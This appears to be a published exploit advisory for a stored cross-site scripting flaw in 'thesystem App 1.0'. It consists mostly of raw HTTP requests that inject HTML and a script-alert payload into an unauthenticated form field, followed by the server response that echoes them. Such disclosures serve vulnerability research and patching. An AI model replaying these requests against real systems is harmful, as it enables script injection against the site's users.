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# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
# Author: İsmail Güngör 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 

# Description: 
# Stored XSS after login bypass(login_required didn't used) 

First of all following request is sent web server 

POST /data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------191691572411478 
Content-Length: 332 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
Upgrade-Insecure-Requests: 1 

-----------------------------191691572411478 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 

0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75 
-----------------------------191691572411478 
Content-Disposition: form-data; name="server_name" 

<h1>test 
-----------------------------191691572411478-- 

After following request is sent web server 

GET /show_search/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
Upgrade-Insecure-Requests: 1 

# Finally, response is shown Xtored XSS: 

HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:25:19 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 176 

('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>') 


#  0day.today [2019-12-04]  #